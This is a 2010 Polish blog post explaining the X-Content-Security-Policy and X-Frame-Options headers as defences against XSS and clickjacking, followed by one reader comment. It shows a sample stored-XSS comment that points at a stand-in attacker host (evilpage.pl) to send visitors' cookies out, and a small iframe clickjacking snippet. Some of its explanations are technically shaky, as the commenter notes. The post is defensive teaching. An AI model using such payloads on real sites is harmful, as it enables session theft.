• Strona główna
  • Curriculum Vitae
  • O mnie
  • Przykład: Gramatyka w PHP
  • Przykład: Kompresja CSS
  • Przykład: Kompresja JavaScript
  • Przykład: Skracanie linków
  • Przykład: Wykrywanie serwera HTTP
  • Przykład: Własna bramka SMS
  • Mapa strony
  • Kontakt
Niebieski Pomarańczowy Zielony Różowy Fioletowy

Bezpieczne nagłówki HTTP

Opublikowane 22 lipca 2010. Autor: Kamil Brenk. Wizyt: 5 348.

Kategorie: Protokół HTTP
Tematyka: bezpieczeństwo stron internetowych, bezpieczeństwo stron www, Clickjacking, Cross-Site Scripting, JavaScript, ochrona przed XSS, Protokół HTTP, X-Content-Security-Policy, X-Frame-Options

lip 22

W tym krótkim wpisie chciałbym przedstawić dwa całkiem przydatne nagłówki zwiększające bezpieczeństwo tworzonych serwisów WWW.

Pierwszym z nagłówków jest X-Content-Security-Policy chroniącym przed atakiem typu XSS (Cross-Site Scripting). Drugim natomiast jest nagłówek X-Frame-Options, który chroni przed Clickjackingiem.

X-Content-Security-Policy

Nagłówek X-Content-Security-Policy wprowadza koncepcję CSP po stronie serwera, która jest z całą pewnością znana każdemu, kto miał styczność z Ajaksem. Mowa tutaj o technologii Content Security Policy, czyli ograniczeniu możliwości pobierania danych wyłącznie z tej samej domeny (zasada tożsamego pochodzenia).

Dzięki nagłówkowi X-Content-Security-Policy ta sama zasada będzie panować po stronie serwera!

Co dzięki temu uzyskujemy? Otóż, jeśli ktoś przeprowadzi pomyślny atak XSS i uda mu się osadzić na nieswojej stronie kod HTML odwołujący do zewnętrznych domen – ta operacja nie zostanie wykonana.

Przykładowo (bez ww. zabezpieczenia), dajemy naszym klientom możliwość komentowania artykułów na stronie. Złowrogi Jan Kowalski w polu formularza wprowadza następujący ciąg:

1
<img src="http://evilpage.pl/kill_them_all.jpg?<script>document.cookie;</script>" />

Komentarz się zapisuje i przy każdym kolejnym wyświetleniu strony zostaje wykonany.

Dzięki temu do autora strony evilpage.pl trafiają ciasteczka każdego kolejnego odwiedzającego stronę ze złowrogim kodem. Co jeśli w danej chwili klient jest zalogowany i w ciasteczku ma zapisany swój identyfikator sesji? Jeśli strona nie jest zabezpieczona przed Session Hijackingiem to haker z łatwością przejmie kontrolę nad kontem.

Tak więc nagłówek X-Content-Security-Policy sprawi, iż powyższy kod nie zostanie wykonany, a ciasteczka użytkownika nie zostaną przekazane do niedobrego Jana Kowalskiego.

Wady nagłówka X-Content-Security-Policy

Oczywiście ma to swoje wady – nie możemy korzystać z zewnętrznych obrazów, stylów CSS, skryptów JavaScript, etc.

Niemniej jednak nagłówek jest na tyle uniwersalny, że możemy w nim ustawić domeny i pliki, których użycie dozwolimy na naszej stronie.

Najgorszą wadą takiego rozwiązania jest niepełna jeszcze implementacja przez przeglądarki – z tego co się doczytałem, to tylko nowsze wersje Firefoxa sobie z tym radzą.

Przykłady nagłówka:

1
X-Content-Security-Policy: allow 'self'
1
2
3
X-Content-Security-Policy: allow 'self'; img-src *; \
                           object-src media1.com media2.com *.cdn.com; \
                           script-src trustedscripts.example.com

Więcej o samej idei, wykorzystaniu, zastosowaniu, wadach i zaletach można poczytać na stronie Mozilli, CSP Specification.

X-Frame-Options
1
X-Frame-Options: deny

Drugi z kolei nagłówek chroni nas przed Clickjackingiem. Clickjacking polega na przechwytywaniu kliknięć na danej stronie. Przykładem zastosowania tej techniki ataku jest skrypt automatycznie klikający w reklamy na danej stronie.

Najprostszy przykład może wyglądać następująco:

1
<iframe src="http://allegro.pl/" id="myFrame" frameborder="0" width="1" height="1"></iframe>

Po czym do takiej pływającej ramki możemy odwoływać się następująco:

1
var iFrame = document.getElementById('myFrame').contentWindow;

W ramce możemy wyszukać wszystkie linki:

1
var links = iFrame.getElementByTagName('a');

Po czym przechodząc po każdym po kolei w pętli, wywoływać adres w nowym oknie :-)

Obroną przed Clickjackingiem jest nagłówek X-Frame-Options. Sprawia on, iż złowrogi Jan Kowalski chcący otworzyć naszą stronę w ramce lub pływającej ramce, dostanie błąd odpowiedzi i całość spełznie na niczym.

Zamiast tego zostanie wyświetlona przyjazna strona informująca, iż podany adres nie może zostać otworzony w ramce, a jedynie w nowym oknie.

Wady nagłówka X-Frame-Options

Niestety, także i ten nagłówek posiada pewne wady. Największą z nich jest niepełna implementacja przez przeglądarki.

Z tego co widzę, strona z tym nagłówkiem nie zostanie otworzona w Internet Explorer 8, Opera 10.60 i Chrome 5.0. Jednak strona w ramce zostaje normalnie otwarta w IE6, IE7, Mozilla i innych, także nadal nie jest to najlepsze zabezpieczenie.

Pozostaje więc używać klasycznego:

1
2
3
4
5
<script language="javascript" type="text/javascript">
if (top != self) {
    top.location=self.location;
}
</script>

A nagłówek dodawać jako ewentualny dodatek.

Przydatne materiały:

  1. Przykład wykorzystania nagłówka X-Frame-Options
  2. Jeff Atwood o zabezpieczaniu przed Clickjackingiem
Kilka słów podsumowania

Cieszy mnie bardzo, że niektóre nowoczesne przeglądarki wychodzą z takimi szczytnymi zabezpieczeniami i próbują dbać, zarówno o przeglądających strony, jak i pomagają webmasterom.

Niestety, nadal nie można w pełni polegać na powyższych nagłówkach, a stanowią one jedynie dodatek do istniejących zabezpieczeń.

Co jeśli złowrogi użytkownik celowo użyje przestarzałej przeglądarki pozwalającej na przeprowadzanie ataków? Co jeśli haker napisał sobie własną przeglądarkę, łamiąc wszelkie reguły i zasady bezpieczeństwa?

Podsumowując, dodawanie tego typu nagłówków jest bardzo dobrą praktyką, jednak nie możemy wyłącznie na tym polegać.

Komentarze (1)

  1. wasmaro 12 grudnia 2012

    Witam,
    co do: var links = iFrame.getElementByTagName(‚a’) — to takie cos nie zadziała, bo strona w iframe’a jest z innej domeny niż strona która zawiera ramkę, czyli JS nie będzie mógł się do niej w żaden sposób odwoływać, tak więc nawet nie trzeba żadnych dodatkowych nagłówków jak X-Frame-Options :)

    „Co jeśli złowrogi użytkownik celowo użyje przestarzałej przeglądarki pozwalającej na przeprowadzanie ataków? Co jeśli haker napisał sobie własną przeglądarkę, łamiąc wszelkie reguły i zasady bezpieczeństwa?”
    Właściwie to jaki to atak mógłby zrobić? — musiałby jakoś nakłonić swoje „ofiary” żeby uźyli jego przeglądarkę :)



Kamil Brenk Blog

PHP, JavaScript, SQL, HTML

  • Informacje o blogu

    Kamil Brenk

    Blog o tworzeniu aplikacji na potrzeby sieci Web.

    Praktyczne przykłady, porady i sztuczki. PHP, SQL, AJAX, JavaScript, HTML i pochodne.

    Kanał RSS

    • Najnowsze
    • Komentarze
    • Popularne
    • Liczniki w CSS
    • Wyprzedaż książek o programowaniu!
    • Niestandardowy placeholder
    • JavaScript w modułach
    • Co dalej z blogiem?
    • Interaktywna mapa w HTML i CSS
    • Olsztyn: Jak wyseparować zawartość zassaną przez file_get_content?
    • ERMLAB: Od czegoś trzeba zacząć :) Wiele osób właśnie stawia na...
    • david: co nalezy wkleić na stronę aby plik ze stylami był ladowany...
    • krynicz: Nie jestem pewien czy dobrze to rozumiem: wpisujemy OG w...
    • yaro: Jak zmienić re_write znak "_" na "-"?
    • Piotr: stworzyłem prostą stronkę w PHP, czy jest możliwość aby...
    • MichalR: Super sprawa... bardzo przydatne.. dzieki i pozdrawiam..
    • Niestandardowe czcionki na stronie
    • Sposoby wczytywania JavaScript
    • Gramatyka w PHP, część 1
    • Umowa i zaliczka dla freelancera
    • Wysyłanie wiadomości SMS w PHP
    • Projekt aplikacji po stronie klienta
    • Własny mechanizm Feed
  • Szukajka
    Wpisz co chcesz wyszukać na stronie…
  • Kategorie
    • Apache
    • Freelancer
    • Front-end Development
    • HTML5 & CSS3
    • Inne
    • JavaScript
    • Książki
    • PHP
    • Po godzinach
    • Pozycjonowanie
    • Protokół HTTP
    • SQL
    • Wyrażenia regularne
  • Moje serwisy
    • Testy zawodowe
    • Miłość, uczucia i seks
  • Czytane blogi
    • Wojciech Sznapka
    • Wojciech Soczyński
    • Michał Wachowski
    • Tomasz Kowalczyk
    • Filip Górczyński
  • Strona główna
  • Curriculum Vitae
  • O mnie
  • Przykład: Gramatyka w PHP
  • Przykład: Kompresja CSS
  • Przykład: Kompresja JavaScript
  • Przykład: Skracanie linków
  • Przykład: Wykrywanie serwera HTTP
  • Przykład: Własna bramka SMS
  • Mapa strony
  • Kontakt

Kamil Brenk © 2010. All rights reserved.

Designed by FTL Wordpress Themes brought to you by Smashing Magazine.

Do góry ∧